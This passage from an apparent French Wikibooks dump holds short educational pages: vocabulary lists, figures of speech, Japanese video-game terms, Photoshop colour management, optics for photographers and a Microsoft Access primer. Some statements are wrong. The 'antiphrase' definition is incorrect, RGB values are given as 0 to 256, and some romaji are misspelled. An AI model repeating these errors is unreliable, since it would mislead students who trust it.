d'absence *6 exposé *7 travaux pratiques *8 devoir *9 exercice *10 pratique *11 répétition *12 dissertation *13 analyse *14 enseigner *15 expliquer *16 montrer *17 démontrer *18 étudier *19 réviser *20 apprendre *21 par cœur *22 pédagogie *23 pédagogue *24 pédagogique *25 remplaçant == cours du soir== (V001) *1 enseignement des adultes *2 hebdomadaire *3 soir *4 fin de semaine *5 apte à être pris en charge *6 analphabète *7 ignorant *8 dyslexie *9 formation (continue) *10 surpasser *11 remise à niveau *12 cours de rattrapage == formation professionnelle== (V001) *1 en entreprise *2 formation d'ouvrier qualifié *3 formation de contremaître *4 formation de technicien *5 apprentissage *6 apprenti *7 contrat d'apprentissage *8 stagiaire *9 phase de théorie (à plein temps) *10 stage (pratique) *11 spécialité *12 profession *13 durée == études supérieures== (V001) *1 école d'ingénieurs *2 université *3 institut *4 faculté *5 laboratoire *6 centre de recherche *7 hôpital universitaire *8 école normale *9 école supérieure des beaux-arts *10 conservatoire supérieur *11 inscription *12 exigences *13 baccalauréat *14 examen d'admission *15 année préparatoire *16 numerus clausus *17 taxe d'enregistrement *18 taxe d'étude *19 bourse *20 foyer de logement d'étudiants *21 appartement en colocation *22 colocataire *23 louer, prendre en location *24 louer, mettre en location *25 loyer *26 caution *27 faux-frais, frais annexes *28 propriétaire *29 restaurant universitaire *30 repas *31 ticket pour repas *32 plateau *33 faire la queue *34 organisation estudiantine *35 délégué estudiantin *36 professeur *37 maître *38 moniteur *39 étudiant == autres langues: == [http://de.wikibooks.org/wiki/Vokabular_/_Schule_und_Lernen allemand] - [http://ie.wikibooks.org/wiki/Vocabul%C3%A1rium_/_Scol_e_aprender interlingue (ex occidental)] - Français: figures de style 5467 37153 2006-03-11T17:31:13Z 83.112.182.123 [[Français:Bac|Retour à la table des matière]] Pour faire une analyse de texte il faut connaître quelques figure de style, en voici une liste non-exhaustive : * La [[wiktionary:fr:périphrase|périphrase]] : c'est expliquer, par une expression, un nom, un objet, un lieu. ** exemple : « Il arriva a ce magnifique bâtiment bleu entouré de jardin. » * L'[[wiktionary:fr:analepse|analepse]] : c'est un retour dans le passé. ** exemple : « Quand, il vit cette endroit, il se rappela il y a dix ans… » * L'[[wiktionary:fr:anaphore|anaphore]] : c'est la répétition d'un mot ou d'un groupe de mots en début de syntagme. ** exemple : « Ah ! Ah ! … Ah ! Ah ! … Ah ! Ah ! » * La [[wiktionary:fr:synecdoque|synecdoque]] : c'est désigner le tout par la partie ou la partie par le tout. ** exemple : « Ce bras peu raser un pays. » * L'[[wiktionary:fr:hyperbole|hyperbole]] : c'est une exagération. ** exemple : « Je vais te tuer. » (alors que en réalité non) * L'[[wiktionary:fr:assonance|assonance]] : c'est une répétition de sons voyelles. ** exemple : « Armé d'un arc, il lui arracha le bras. » * L'[[wiktionary:fr:allitération|allitération]] : c'est une répétition de sons consonantiques. ** exemple : « Ce serpent serpentant sans soulier. » * L'[[wiktionary:fr:antiphrase|antiphrase]] : c'est une opposition de deux termes qui ne sont pas côte à côte dans la phrase. ** exemple : « Sa minuscule maison est tel un palais. » [[Catégorie:Français]] ==Voir aussi== *[[Wiktionary:fr:Catégorie:Figures de style en français|Figures de style en français]] *[[w:fr:Catégorie:Rhétorique|Les figures de rhétorique]] Japonais:Région 5468 22461 2005-10-01T16:18:17Z Duarna 465 création Retour à la [[Table des matières (Japonais)|table des matières]]. {| border="1" cellspacing="0" cellpadding="6" ! Français ! [[Japonais:Kanji|Kanji]] ! [[Japonais:Kana|Kana]] ! [[Japonais:Romaji|Rōmaji]] |- |[[w:fr:Région du Chūbu|Chūbu]] |[http://ja.wikipedia.org/wiki/%E4%B8%AD%E9%83%A8%E5%9C%B0%E6%96%B9 中部地方] |ちゅうぶちほう |''chūbu chihō'' |- |[[w:fr:Région de Kantō|Kantō]] |[http://ja.wikipedia.org/wiki/%E9%96%A2%E6%9D%B1%E5%9C%B0%E6%96%B9 関東地方] |かんとうちほう |''kantō chihō'' |- |[[w:fr:Région de Chūgoku|Chūgoku]] |[http://ja.wikipedia.org/wiki/%E4%B8%AD%E5%9B%BD%E5%9C%B0%E6%96%B9 中国地方] |ちゅうごくちほう |''chūgoku chihō'' |- |[[w:fr:Région du Kansai|Kinki]] |[http://ja.wikipedia.org/wiki/%E8%BF%91%E7%95%BF%E5%9C%B0%E6%96%B9 近畿地方] |きんきちほう |''kinki chihō'' |} {{Glossaires_de_Japonais}} [[catégorie:Glossaires de Japonais]] [[en:Japanese:Prefecture Names]] Wikiversité:demande de cours 5469 25332 2005-11-10T21:27:09Z 213.44.151.50 /* Mathématiques */ Bonjours, je souhaite un cours sur "Les bouddhismes". Merci. ==Langues== Sur WP, il ya des articles sur les langues dont certains s'apparentent presqu'à un apprentissage (cf japonais, ...), en les consultant on apprend plus que sur les wikibooks correspondants (le coréen est nul) et dans la wikiversité, rien sur les langues. Je m'attendais plutôt au contraire. ==Chimie== Bonjour, j'aimerais bien avoir un cours de chimie organique de niveau de 1<sup>ère</sup>S s'il vous plaît. Merci ! ==Mathématiques== Bonjour, je souhaite un cours sur les '''transformées de Laplace''', comportant des démonstrations. Merci. Bonjour, je voudrais un cours sur les nombres complexes, niveau prépa MPSI, ainsi qu'un cours sur la logique formelle et les ensemble, du même niveau. Japonais:Vocabulaire Jeux vidéo 5470 40809 2006-04-23T18:05:55Z 82.66.8.62 Retour à la [[Table des matières (Japonais)|table des matières]]. {| {{prettytable}} ! '''Personnage''' ! [[Japonais:Kanji|Kanji]] ! [[Japonais:Kana|Kana]] ! [[Japonais:Romaji|Rōmaji]] |- | Personnage | <big>[[wiktionary:fr:人物|人物]]</big> | じんぶつ | jinbutsu |- | Personnage | --- | <big>[[wiktionary:fr:キャラ|キャラ]]</big> (court)/<big>[[wiktionary:fr:キャラクター|キャラクター]]</big> (long) | kyara/kyarakuta |- | Summoner (en anglais) | <big>[[wiktionary:fr:召喚士|召喚士]]</big> | しょうかんし | shōkanshi |- | Guerrier | <big>[[wiktionary:fr:戦士|戦士]]</big> | せんし | senshi |- | Épéiste | <big>[[wiktionary:fr:剣士|剣士]]</big> | けんし | kenshi |- | Aventurier | <big>[[wiktionary:fr:冒険者|冒険者]]</big> | ぼうけんしゃ | bōkensha |- | Marchand | <big>[[wiktionary:fr:商人|商人]]</big> | しょうにん | shōnin |- | Voyageur | <big>[[wiktionary:fr:旅人|旅人]]</big> | たびびと | tabibito |- | Joueur | <big>[[wiktionary:fr:選手|選手]]</big> | せんしゅ | sensho |- | Ennemi | <big>[[wiktionary:fr:敵|敵]]</big> | てき | teki |- ! '''Animaux''' ! [[Japonais:Kanji|Kanji]] ! [[Japonais:Kana|Kana]] ! [[Japonais:Romaji|Rōmaji]] |- | Monstre | --- | <big>[[wiktionary:fr:モンスター|モンスター]]</big> | monsutaa |- | Monstre | <big>[[wiktionary:fr:魔物|魔物]]</big> | まもの | mamono |- ! '''Lieux''' ! [[Japonais:Kanji|Kanji]] ! [[Japonais:Kana|Kana]] ! [[Japonais:Romaji|Rōmaji]] |- | Monde | [[wiktionary:fr:世界|世界]]</big> | せかい | sekai |- | Aprèsmonde | [[wiktionary:fr:異界|異界]]</big> | いかい | ikai |- | Empire | [[wiktionary:fr:帝国|帝国]]</big> | ていこく | teikoku |- | Royaume | [[wiktionary:fr:王国|王国]]</big> | おうこく | aukoku |- | Palais | [[wiktionary:fr:殿堂|殿堂]]</big> | でんどう | dendō |- | Village | [[wiktionary:fr:村|村]]</big> | むら | mura |- | Ville | [[wiktionary:fr:町|町]]</big> | まち | machi |- | Magasin | --- | [[wiktionary:fr:ショップ|ショップ]]</big> | shoppu |- | Temple | [[wiktionary:fr:寺院|寺院]]</big> | じいん | jiin |- | Île | [[wiktionary:fr:島|島]]</big> | しま | shima |- !'''Moyen de transport''' ! [[Japonais:Kanji|Kanji]] ! [[Japonais:Kana|Kana]] ! [[Japonais:Romaji|Rōmaji]] |- | Bateau | [[wiktionary:fr:船|船]]</big> | ふね | fune |- ! '''Équipement''' ! [[Japonais:Kanji|Kanji]] ! [[Japonais:Kana|Kana]] ! [[Japonais:Romaji|Rōmaji]] |- | Objet | --- | [[wiktionary:fr:アイテム|アイテム]]</big> | aitemu |- | Équipement | [[wiktionary:fr:装備|装備]]</big> | そうび | sōbi |- ! '''Menu''' ! [[Japonais:Kanji|Kanji]] ! [[Japonais:Kana|Kana]] ! [[Japonais:Romaji|Rōmaji]] |- | Menu | --- | [[wiktionary:fr:メニュー|メニュー]]</big> | menyuu |- | Sauvegarde | --- | [[wiktionary:fr:セーブ|セーブ]]</big> | seebu |- | Chargement | --- | [[wiktionary:fr:ロード|ロード]]</big> | roodo |- | En cours de sauvegarde | --- | [[wiktionary:fr:セーブ中|セーブ中]]</big>(です) | seebu naka (desu) |- | En chargement | --- | [[wiktionary:fr:ロード中|ロード中]]</big>(です) | roodo naka (desu) |- | Carte mémoire | --- | [[wiktionary:fr:メモリーカード|メモリーカード]]</big> | memoriikaado |- | Start | --- | [[wiktionary:fr:スタート|スタート]]</big> | sutaato |- | Continuer | --- | [[wiktionary:fr:つづく|つづく]]</big> | tsuzuku |- | Quitter | [[wiktionary:fr:終わり|終わり]]</big> | おわり | owari |- | Configuration | [[wiktionary:fr:設定|設定]]</big> | せってい | settei |- | Confirmer | [[wiktionary:fr:確認|確認]]</big> | かくにん | kakunin |- | Status | --- | [[wiktionary:fr:ステータス|ステータス]]</big> | suteetasu |- | recover (en anglais) | [[wiktionary:fr:回復|回復]]</big> | かいふく | kaifuku |- | Aventure | [[wiktionary:fr:冒険|冒険]]</big> | ぼうけん | bōken |- | Histoire | [[wiktionary:fr:物語|物語]]</big> | ものがたり | monogatari |- ! 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[[Japonais:Romaji|Rōmaji]] |- | Mission | --- | [[wiktionary:fr:ミッション|ミッション]]</big> | misshon |- | Action | --- | [[wiktionary:fr:アクション|アクション]]</big> | akushon |- | Ordre | --- | [[wiktionary:fr:コマンド|コマンド]]</big> | komando |- | Mouvement | [[wiktionary:fr:移動|移動]]</big> | いどう | idō |- | Expérience | [[wiktionary:fr:経験|経験]]</big> | けいけん | keiken |- | Attaque | [[wiktionary:fr:襲う|襲う]]</big> | おそう | asō |- | Attaque | [[wiktionary:fr:戦う|戦う]]</big> | たたかう | tatakau |- | Attaque | [[wiktionary:fr:攻撃|攻撃]]</big> | こうげき | kōgeki |- | Contre-attaque | [[wiktionary:fr:反撃|反撃]]</big> | はんげき | hangeki |- | Fuite | [[wiktionary:fr:逃げる|逃げる]]</big> | にげる | nigeru |- | Fuite | [[wiktionary:fr:逃避|逃避]]</big> | とうひ | dōhi |- | Bataille | --- | [[wiktionary:fr:バトル|バトル]]</big> | batoru |- | Bataille | [[wiktionary:fr:戦闘|戦闘]]</big> | せんとう | sentō |- | Guerre | [[wiktionary:fr:戦争|戦争]]</big> | せんそう | sensō |- | Magie | [[wiktionary:fr:魔法|魔法]]</big> | まほう | mahō |- | Entrainement | [[wiktionary:fr:試練|試練]]</big> | しれん | shiren |- | Destiné | [[wiktionary:fr:運命|運命]]</big> | うんめい | unmei |- | Espoir | [[wiktionary:fr:希望|希望]]</big> | きぼう | kibō |- | Protéger | [[wiktionary:fr:守る|守る]]</big> | まもる | mamoru |- | Prière | [[wiktionary:fr:祈る|祈る]]</big> | いのる | inoru |- | Coffre/trésor | [[wiktionary:fr:宝箱|宝箱]]</big> | たからばこ | takarabako |- | Controler | --- | [[wiktionary:fr:チェック|チェック]]</big> | chekku |- ! '''Armes''' ! [[Japonais:Kanji|Kanji]] ! [[Japonais:Kana|Kana]] ! [[Japonais:Romaji|Rōmaji]] |- | Arme | [[wiktionary:fr:武器|武器]]</big> | ぶき | buki |- | Grenade | [[wiktionary:fr:手榴弾|手榴弾]]</big> | しゅりゅうだん | shuryūdan |} ==Voir aussi== *[[wiktionary:fr:Catégorie:Noms_communs_japonais|Les noms dans le wiktionnaire]] {{Glossaires_de_Japonais}} [[catégorie:Glossaires de Japonais]] [[en:Japanese:Vocabulary:Videogame]] Français:Bac 5472 22606 2005-10-05T18:13:55Z Duarna 465 +oral methode <center>Ce livre a pour but de réunir toutes les information essentiel a l'obtention du bac de français. ==L'étude de texte== [[Français:méthode:étude de texte|Méthode]] [[Français: figures de style|Les figures de style]] ==L'écriture d'invention== ==L'argumentation== [[Français:méthode:argumentation|Méthode]] ==L'oral== [[Français:méthode:oral|Méthode]] <br><br>Les auteurs principaux de ce livre sont ...</center> [[Catégorie:Français]] Catégorie:Français 5473 43500 2006-05-30T19:06:43Z Jrcourtois 1354 lien wiktionnaire {{sisterlinks|Category:French}} Cette catégorie a pour but de regrouper tous les article concernant le français. * Le Wiktionnaire propose un [[wikt:Portail:Français|portail de la langue française]]. [[Catégorie:Langue]] Français:méthode:argumentation 5474 26813 2005-12-14T16:26:55Z 81.249.210.46 [[Français:Bac|Retour à la table des matière]] Pour faire une argumentation, il faut suivre une méthode scrupuleusement. *L'introduction (10 lignes) **Poser la [[wiktionary:fr:problématique|problématique]] **Annoncer le plan Il faut sauter deux, trois lignes entre l'introduction et le développement *La [[wiktionary:fr:thèse|thèse]] ou l'[[wiktionary:fr:antithèse|antithèse]] (une page) Il faut commencer par la défense la plus difficile **Premier paragraphe ***Argument ***Exemple **Deuxième paragraphe ***Argument ***Exemple **Troisième paragraphe ***Argument ***Exemple *Un paragraphe de transition *La [[wiktionary:thèse|thèse]] ou l'[[wiktionary:antithèse|antithèse]] (une page) Selon ce que vous avez fait avant **Premier paragraphe ***Argument ***Exemple **Deuxième paragraphe ***Argument ***Exemple **Troisième paragraphe ***Argument ***Exemple Il faut sauter deux, trois lignes entre le développement et la conclusion. *La conclusion (10 lignes) [[Catégorie:Français]] Adobe Photoshop 5475 22600 2005-10-05T09:31:37Z Inisheer 631 #[[Adobe Photoshop – Présentation de l'espace de travail|Présentation de l'espace de travail]] #[[Adobe Photoshop – Gestion des couleurs|Gestion des couleurs]] #[[Adobe Photoshop – Sélections|Sélections]] #[[Adobe Photoshop – Calques|Calques]] Suite du plan à venir... Toutes vos suggestions sont les bienvenues sur la page de discussion. Adobe Photoshop – Gestion des couleurs 5476 22530 2005-10-02T19:39:26Z Inisheer 631 {{photoshop}} La gestion des couleurs fut introduite dans la version 5 mais il fallut attendre la version 6 pour un outil véritablement opérationnel. Il devint alors possible d'employer Photoshop dans un système de gestion des couleurs. #[[Adobe Photoshop – Gestion des couleurs – Espaces colorimétriques|Espaces colorimétriques]] #[[Adobe Photoshop – Gestion des couleurs – Profils ICC|Profils ICC]] Adobe Photoshop – Gestion des couleurs – Espaces colorimétriques 5477 22527 2005-10-02T19:36:21Z Inisheer 631 {{photoshop}} Les trois espaces couramment employés sont l'espace RVB, l'espace CMJN et l'espace Lab. ==Espace RVB== Le sigle [[w:RVB|RVB]] correspond à Rouge – Vert – Bleu, soit les couleurs primaires de la synthèse additive des couleurs. Les écrans, les scanners et les capteurs de photoscopes travaillent en RVB. Dans le cas d'un écran, chaque pixel est composé de trois points lumineux superposés dont l'intensité varie de 0 (éteint) à 256 (allumé). L'addition des trois couleurs donne du blanc pur. En combinant les 256 teintes disponibles par composant rouge, vert ou bleu, on obtient un maximum d'environ 16,7 millions de nuances. ==Espace CMJN== L'espace [[w:CMJN|CMJN]], pour Cyan – Magenta – Jaune – Noir, est employé pour les images imprimées. La synthèse des couleurs est ici soustractive: les encres appliquées sur le papier reflètent la lumière en absorbant leur couleur complémentaire. En théorie, on devrait donc obtenir du noir grâce à l'addition des trois couleurs cyan, magenta et jaune. En pratique, le résultat tend plutôt sur le marron foncé en raison des impuretés présentes dans les encres et le papier. Pour pallier à cela, on a ajouté une encre noire. ==Couleurs Lab== Développé par la CIE (Commission Internationale de l'Éclairage), l'espace Lab est lié à la perception des couleurs par un œil «standard» et correspond à l'ensemble des couleurs visibles par l'œil et englobe ainsi les espaces RVB et CMJN. Les courbes de valeurs de l'espace Lab s'articulent sur trois axes: *axe L (luminosité, de 0 à 100): information de luminosité, du blanc au noir; *axe a (de -100 à +100): axe vert – rouge; *axe b (de -100 à +100): axe bleu – jaune. Modèle:Photoshop 5479 25767 2005-11-20T16:17:00Z Inisheer 631 <div style="border: 1px solid green; background: #E8FFD1; width: 90%; margin-left: auto; margin-right: auto; margin-bottom: 15px; padding: 5px; text-align: center"> [[Image:Crystal_xpaint.png|left|40px]] [[Adobe Photoshop|Table des matières]] [[Adobe Photoshop – Présentation de l'espace de travail|Présentation de l'espace de travail]] – [[Adobe Photoshop – Gestion des couleurs|Gestion des couleurs]] – [[Adobe Photoshop – Sélections|Sélections]] – [[Adobe Photoshop – Calques|Calques]] [[Adobe Photoshop – Bibliographie|Bibliographie]] </div> Adobe Photoshop – Gestion des couleurs – Profils ICC 5480 22537 2005-10-02T21:00:07Z Inisheer 631 {{photoshop}} L'ICC (International Color Consortium) fut fondé en 1995 par Adobe, Agfa, Apple, Kodak, Microsoft, Silicon Graphics et Sun dans le but de créer un standard de description du comportement colorimétrique d'un périphérique (écran, scanner, imprimante), dans l'espace colorimétrique dans lequel il travaille. Apple fut la première à l'implémenter, suivie par Microsoft et les différents systèmes Unix. Les profils ICC permettent de conserver des couleurs fidèles à l'original tout au long des différentes étapes de la chaîne graphique. ==Profil de l'écran== L'idéal est de procéder à une calibration matérielle à l'aide d'une sonde dédiée. En effet, le cerveau humain a une grande capacité à réaliser sa propre balance des couleurs et on ne peut s'y fier pour juger de l'exactitude d'un rendu à l'écran. À défaut de sonde, on procédera au moins à une calibration logicielle à l'aide de l'utilitaire fourni avec le système d'exploitation (ColorSync sur Macintosh, Adobe Gamma sur Windows). Un écran CRT doit être recalibré régulièrement (environ une fois par mois). Les écrans LCD sont moins sensibles aux variations et l'on peut se dispenser de recommencer l'opération. ==Profil du scanner== La plupart des fabriquants fournissent un profil avec leurs scanners, ne serait-ce qu'en téléchargement sur leur site web. Si l'on désire davantage de précision, on se procurera une charte IT8 au format papier ou film. Le logiciel fourni se charge ensuite d'établir un profil en fonction des données recueillies. ==Profil de l'imprimante== ===Prépresse=== Demandez à votre imprimeur de vous fournir le profil de son système d'impression. ===Imprimante jet d'encre=== Vous pouvez utiliser le profil fourni par le constructeur (RVB dans la plupart des cas, CMJN si vous utilisez un RIP d'impression). Si vous possédez un scanner, vous pouvez également créer votre propre profil au moyen d'un logiciel dédié. Adobe Photoshop – Présentation de l'espace de travail 5481 22538 2005-10-02T21:34:01Z Inisheer 631 {{photoshop}} #[[Adobe Photoshop – Présentation de l'espace de travail – Fenêtre et barre d'état|Fenêtre et barre d'état]] #[[Adobe Photoshop – Présentation de l'espace de travail – Outils|Outils]] #[[Adobe Photoshop – Présentation de l'espace de travail – Palettes|Palettes]] #[[Adobe Photoshop – Présentation de l'espace de travail – Historique|Historique]] #[[Adobe Photoshop – Présentation de l'espace de travail – Repères et règles|Repères et règles]] Managed C Plus Plus 5486 22566 2005-10-03T21:08:19Z Bozo 588 Livres sur le C++ Managé: *[[Managed C Plus Plus Guide| Guide de programmation en C++ Managé]] Photographie - Chapitre 06 - Propagation de la lumière 5488 44424 2006-06-12T14:15:20Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_06}} Photographie - 06 - Le principe de Fermat 5489 44425 2006-06-12T14:15:38Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_06}} Lorsque vous usiez vos frocs ou vos jupettes sur les bancs du lycée, vous avez peut-être détesté l'optique. Dommage, car cette science permet de comprendre beaucoup de choses en photographie. Essayons d'y remédier ! Les grands bonheurs viennent du ciel, les petits bonheurs viennent de l'effort, dit un proverbe chinois. Imaginez donc que vous vouliez atteindre le sommet d'une montagne. Vous choisirez autant que possible le meilleur itinéraire compte tenu de divers critères : difficultés techniques, passage par les meilleurs points de vue ou par les meilleures stations botaniques, rapidité du parcours, etc. Bref, vous allez '''optimiser''' votre ascension. Supposons maintenant qu'arrivé au sommet, vous laissiez échapper dans la pente un objet capable de rouler, disons, une boîte de conserve (ou un zoom flambant neuf, n'est-ce pas A. V. ?). Parmi toutes les trajectoires possibles, cet objet va en "choisir" une qui correspondra elle-aussi à certains critères. D'une certaine façon, la nature va optimiser la chute ! Comment ? En 1744, le mathématicien Pierre-Louis Moreau de Maupertuis (1698-1759) fut le premier à pressentir que tous les systèmes physiques évoluent selon un principe fondamental, qu'il baptisa '''principe de moindre action'''. La nature choisit toujours, parmi toutes les possibilités offertes dans des circonstances données, celle qui est la plus « efficace ». Le principe de moindre action s'applique également à la lumière. Pierre de Fermat (1601-1665) avait proposé bien avant Maupertuis que le trajet suivi par la lumière pour se rendre d'un point à un autre est celui qui correspond à un temps de parcours extrémal (presque toujours minimal, parfois maximal). Les mathématiciens préfèrent le terme "stationnaire" et il vaut mieux retenir le '''principe de Fermat''' sous la forme suivante : {| border="1" cellpadding="5" cellspacing="0" align="center" |- |'''Le trajet suivi par la lumière, pour aller d’un point à un autre, correspond à un temps de parcours stationnaire.''' |- |} Ainsi, lorsque la lumière se déplace dans un milieu transparent et homogène, elle le fait en ligne droite, mais avec une célérité qui dépend de ce milieu. Lorsqu'elle est renvoyée par une surface polie ou lorsqu'elle passe d'un milieu transparent à un autre où sa célérité est différente, elle subit des déviations toujours conformes à ce principe. Nous en reparlerons bientôt ! Le grand physicien Richard Feynman s'interroge. Dans un milieu homogène, la lumière va en ligne droite parce que c'est le chemin le plus court. Mais comment fait-elle pour savoir que c'est le plus court, a-t-elle essayé tous les autres ? :: (Richard Feynman, ''Lumière et Matière, une étrange histoire'') Photographie - 06 - Les principes de l'optique géométrique 5490 44426 2006-06-12T14:15:53Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_06}} L'étude complète de la propagation de la lumière tient compte de sa double nature ondulatoire et corpusculaire, elle n'est pas du tout facile ! L''''optique géométrique''' donne des interprétations simplifiées mais suffisantes pour aborder presque toutes les questions qui intéressent un photographe, en particulier la formation des images. Elle utilise un artifice sans existence réelle, mais très commode, le '''rayon lumineux''', qui est une droite ou une portion de droite parcourue par la lumière. Cependant, certains résultats doivent être retouchés par d'autres méthodes, en particulier pour l'étude de la netteté des images. == Principe de propagation rectiligne == Le '''principe de propagation rectiligne''' est vérifié par de nombreuses expériences. On peut par exemple observer une source lumineuse à travers des petits trous percés dans une série de parois opaques et alignés à l'aide d'un fil à plomb. [[Image:Trous alignés.png|120px|center]] Un '''faisceau lumineux''' est constitué par un ensemble de rayons lumineux. Si ces rayons sont émis par un même point lumineux S, le faisceau est dit '''conique''', '''homocentrique''' ou encore '''isogène'''. Un tel faisceau est toujours divergent car les rayons lumineux s'écartent quand on s'éloigne de la source. [[Image:Faisceau divergent.png|175px|center]] Lorsqu'un faisceau lumineux rencontre de petites particules en suspension, de la poussière, de la brume, de la fumée, une partie de la lumière est diffusée, ce qui permet de le localiser. Le photographe avisé ne manquera pas de tirer habilement parti de cette situation, comme a si bien su le faire Jack Delano (Salle d'attente de l'Union Station, Chicago). [[Image:Chicago Union Station 1943.jpg|400px|center]] Vus « de l'intérieur », les faisceaux parallèles présentent un point de fuite (qu'il faut masquer ou placer hors du cadre sous peine d'éblouissement). Ils semblent donc divergents mais cette divergence apparente n'est qu'un effet de perspective qui se comprend facilement en imaginant que l'on regarde dans un tuyau. [[Image:Tube.png|150px|center]] Comme nous le verrons, des systèmes optiques appropriés peuvent produire des faisceaux parallèles et des faisceaux convergents. <center>[[Image:Faisceau parallèle.png|175px]]..........[[Image:Faisceau convergent.png|175px]]</center> Lorsque la lumière arrive permendiculairement à l'axe de l'appareil, c'est-à-dire latéralement, les traces des rayons deviennent parallèles sur l'image. C'est presque le cas sur la photographie ci-dessous ; le point de fuite des rayons, qui est en réalité leur point de départ, se trouve rejeté très loin à gauche. [[Image:ImprunetaIMG 0318.jpg|400px|center]] Si le point S' est situé sur un objet opaque, le faisceau ne va évidemment pas plus loin. Sinon, les rayons ne font que s'y croiser et le faisceau devient divergent, tout se passe comme si S' était une source lumineuse. [[Image:Cône complet.png|250px|center]] L''''ouverture''' d'un faisceau lumineux conique correspond à l'angle solide défini par les rayons extrêmes, elle se mesure donc en stéradians. Si le faisceau a la forme d'un cône de révolution, on peut aussi définir l'ouverture par le demi-angle au sommet de ce cône. Un faisceau parallèle doit être caractérisé par l'aire de sa section droite, puisque son ouverture est nulle. On appelle '''pinceau lumineux''' un faisceau dont l'ouverture est très faible ou nulle et dont les dimensions transversales sont très petites. == Principe d'indépendance des rayons lumineux == Le '''principe d'indépendance des rayons lumineux''' peut s'énoncer ainsi : Un milieu transparent peut transporter simultanément des rayons lumineux issus d'une même source ou de plusieurs sources, dont les propagations sont indépendantes. Cela signifie par exemple qu'un très faible pinceau lumineux peut traverser un faisceau intense sans être modifié en quoi que ce soit. [[Image:Indépendance.png|175px|center]] Sur la photographie de Jack Delano, par exemple, la lumière provenant des petites ouvertures rectangulaires traverse sans déviation les rayons provenant des ouvertures de la partie supérieure. Blender 3D: Liste de liens de didacticiels 5492 31141 2006-02-01T15:04:30Z 83.179.217.129 http://www.blender3d.org/cms/Getting_Started.246.0.html [http://www.zoo-logique.org/3D.Blender/index.php3?zoo=dif 3D.Blender, la plus grande liste de didacticiels en français] [http://brunetton.tuxfamily.org/index.php?n=Main.BlenderSt Modélisation en stéréo avec Blender] ([http://fr.wikipedia.org/wiki/Stéréoscopie couples stéréoscopiques]) Français:méthode:oral 5493 22607 2005-10-05T18:27:10Z Duarna 465 création [[Français:Bac|Retour à la table des matière]] L'oral de français se déroule de la façons suivante: *La préparation: pendant 30 minutes l'élève doit préparer son oral pour répondre a la problématique donner par l'examinateur. *L'oral en lui même **Réponse À la problématique ***Présentation de l'œuvre, de l'auteur, de l'extrait ***La lecture de l'extrait ***Annonce de la problématique ***Annonce du plan ***Première partie ***Deuxième partie ***Éventuel troisième partie ***Conclusion **Réponses aux questions de l'examinateur [[Catégorie:Français]] Microsoft Access 5495 45231 2006-06-19T15:01:42Z 207.134.69.242 /* Les clés primaires et secondaires */ {{ébauche}} '''[[w:Microsoft Access|Microsoft Access]]''' est un [[logiciel]] de [[base de donnée]] fonctionnant pour le système d'exploitation [[Microsoft Windows]]. == Les objets de Microsoft Access == [[w:fr:Microsoft Access|Microsoft Access]] est composé de 5 objets principaux : * Les Tables * Les Requêtes * Les Formulaires * Les Etats * Les Macros == Les Tables == Les Tables contionnent les données de [[w:fr:Microsoft Access|Microsoft Access]]. Ce sont donc les premiers objets à créer. La conception des tables doit faire l'objet d'une étude approfondie afin de permettre un regroupement logique des informations de même nature, tout en évitant la redondance des informations. La conception des tables doit aussi être faite de façon à permettre de futures évolutions. === Les types de données === '''Texte :''' Les champs texte peuvent contenir tous types de caractères dans la limite de 255 caractères. '''Mémo :''' Les champs mémo peuvent contenir de grandes quantité de texte, jusque 65535 caractères. Si vous voulez mettre tout un texte de type traitement de texte, il vaut mieux utiliser un champ de type Objet OLE. '''Nombre :''' Les champs nombre peuvent contenir des valeurs numériques positives, négatives ou de type fraction, ainsi que des devises. Pour un champ de type code postal ou numéro de téléphone, préférez un champ de type texte. '''Date/Heure :''' Les champs Date/Heure peuvent contenir des données de type date ou de temps. Il est préférable d'utiliser un champ de ce type, plutôt qu'un champ texte, car Access vérifie automatiquement la validité de la saisie et permet de faire des calculs entre dates et/ou heures. '''Monétaire :''' Les champs de type Monétaire peuvent contenir des valeurs numériques qui concernent les devises. La différence par rapport à un champ de type numérique est que ici le nombre de décimales est fixe. Cela peut éviter des erreurs d'arrondi. '''Numéro Automatique :''' Les champs de type Numéro Automatique contiennent une valeur numérique qui est incrémentée à chaque nouvel enregistrement ajouté à la table. Cette valeur n'est ensuite plus modifiable. Ce type de champ est utile pour identifier de façon unique et automatique chaque enregistrement de la table et poura donc servir de clé primaire automatique. '''Oui/Non :''' Les champs de type Oui/Non contiennent des valeurs logiques (booléennes), représentées par Oui ou Non, Vrai ou faux, -1(Oui) ou 0(Non). '''Objet OLE :''' Les champs de type objet OLE contiennent des données enregistrées dans d'autres applications Windows qui supportent OLE (Liaison et incorporation d'objets). Ce peut être des images, du son, des clips, un document tableur ou traitement de texte. '''Lien Hypertexte :''' Les champs de type lien Hypertexte contiennent une adresse qui pointe vers un document ou une page Web. === Les relations entre tables === Microsoft Access est un système de base de données relationnelle. Cela signifie que l'on peut stocker des données analoques dans des tables séparées. Par exemple pour stocker des factures, il vaut mieux créer une table entête facture (Numéro de facture, client, Montant HT, TVA, etc...) et une table lignes articles facturés et relier entre elles les deux tables. La relation se fera sur le numéro de facture présent dans les deux tables. Il existe trois types de relations : ==== Relation un-à-plusieurs ==== C'est le cas le plus courant. Un enregistrement d'une table peut être lié à plusieurs enregistrements de l'autre table. Pour reprendre le même exemple des factures, un enregistrement de la table entête facture est lié à plusieurs enregistrements lignes articles facturés pour la même facture. ==== Relation plusieurs-à-plusieurs ==== Un enregistrement d'une table peut être lié à plusieurs enregistrement de l'autre table et inversement. Pour rester encore dans le même exemple des factures, on va supposer qu'il existe également une table des articles. Une relation entre la table lignes articles facturés et la table articles sera de type plusieurs-à-plusieurs, car une facture peut comporter plusieurs articles, et un article peut apparaître dans plusieurs factures. ==== relation un-à-un ==== Ce type de relation est le plus rare. Un enregistrement d'une table ne peut être lié qu'à un seul enregistrement de l'autre table. titi == Les Requêtes == Les requêtes servent à interroger les données. C'est à dire à extraires des tables les données dont on a besoin pour un traitement particuliers. Il existe 9 types de requête: La requêtes selection: c'est celle qu'on utilisera le plus souvent. Elle permet de selectionner des enregistrements, de faire des calculs et des regroupements. Elles ressemblent beacoup aux filtres, mais permettent en plus de travailler sur plusieur tables simultanement. La requête d'analyse croisée: Cette requête présente ses résultats sous forme de tableau ( de type Excel). On l'utilisera pour comparer des valeurs, dégager des tendances. La requête de création de table: Cette requête crée une table à partir des données qu'elle a extraites dans une ou plusieurs autres tables. La requête mise à jour: Cette requête modifie le contenu d'un ou 